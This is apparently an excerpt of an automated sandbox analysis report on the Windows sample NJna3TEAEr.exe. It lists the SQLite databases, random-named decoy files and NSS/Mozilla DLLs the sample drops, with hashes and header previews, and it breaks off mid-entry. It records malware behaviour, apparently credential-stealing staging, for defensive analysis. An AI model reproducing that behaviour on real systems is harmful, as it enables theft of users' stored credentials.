Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\ProgramData\IJEGHJECFCFCBFIDBGCG

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\ProgramData\KKEHDBAEGIIIEBGCAAFH

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\ZGGKNSUKOP.pdf

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\NJna3TEAEr.exe
